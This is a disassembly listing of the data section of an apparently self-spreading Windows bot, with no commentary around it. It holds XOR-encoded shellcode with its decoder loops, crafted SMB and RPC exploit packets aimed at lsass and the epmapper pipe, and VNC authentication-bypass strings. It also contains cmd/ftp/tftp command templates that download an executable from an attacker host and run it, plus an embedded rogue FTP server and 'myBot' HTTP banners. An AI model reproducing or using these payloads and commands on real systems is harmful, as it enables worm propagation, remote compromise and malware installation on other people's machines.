dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: .packed:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .packed:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: .packed:0040E02Do
					; .packed:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40DCF9+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
asc_432940:				; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		unicode	0, <\\>,0
		align 4
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .packed:0040E235o
					; .packed:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0
					; DATA XREF: .packed:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: .packed:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: .packed:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: .packed:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .packed:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: .packed:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: .packed:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: .packed:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h	; DATA XREF: sub_40EF1C+130o
					; sub_41A1B1+21o
aEchoOpenSDOE_0	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40F108+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F3AA+5B9o
		align 4
dword_434798	dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
					; DATA XREF: sub_40F3AA+568o
					; sub_412197+3ACo
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F3AA+4F7o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40F3AA+4DFo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F3AA+4BEo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F3AA+48Bo
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40F3AA+40Eo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40F3AA+3CDo
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F3AA+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40F3AA+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o
aI_0:					; DATA XREF: sub_40F3AA+35Eo
					; .packed:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo
aA_0:					; DATA XREF: sub_40F3AA+327o
					; .packed:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40F3AA:loc_40F6B3o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo
		align 4
off_43492C	dd offset dword_445750	; DATA XREF: sub_40F3AA+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40F3AA+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F3AA+2A8o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40F3AA+287o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40F3AA+262o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40F3AA+251o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
